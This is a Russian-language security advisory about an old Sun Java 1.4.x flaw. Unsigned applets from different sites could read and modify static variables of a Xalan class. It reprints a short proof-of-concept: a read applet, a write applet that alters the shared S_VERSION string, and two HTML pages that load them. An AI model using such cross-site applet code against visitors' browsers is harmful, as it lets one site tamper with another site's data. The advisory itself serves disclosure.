Security Lab

Изменение статических переменных другого домена в Sun Java

Дата публикации:24.10.2003
Дата изменения:17.10.2006
Всего просмотров:1368
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Sun Java SDK 1.4.2_01 JDK 1.x, Sun Java JRE 1.4.x

Описание: Уязвимость обнаружена в Sun Java. Злонамеренный неподписанный апплет может манипулировать некоторыми статическими переменными.

Некоторые недокументированные статические переменных доступны из общедоступной памяти различными апплетами в одно и тоже время. Уязвимость обнаружена в "org.apache.xalan.processor.XSLProcessorVersion" классе. Уязвимость может эксплуатироваться злонамеренным Web сайтом, чтобы изменить или просматривать данные из другого Web сайта. Для успешной эксплуатации, требуется одновременное посещение пользователем обеих сайтов.

Пример/Эксплоит:

/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld      */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

    public void paint(Graphics g)
    {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
    }

   static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
   }
 
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;


public class WriteApplet extends java.applet.Applet {
    public void paint(Graphics g)
    {
        org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
    }


   static {
      org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
  }
 
==========WRITEAPPLET=========================


=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>

WriteApplet, write to variable
Marc (marc@org.illegalaccess)

<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>

ReadApplet, read from variable
Marc (marc@org.illegalaccess)

<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

URL производителя:http://www.sun.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Cross Site Java applets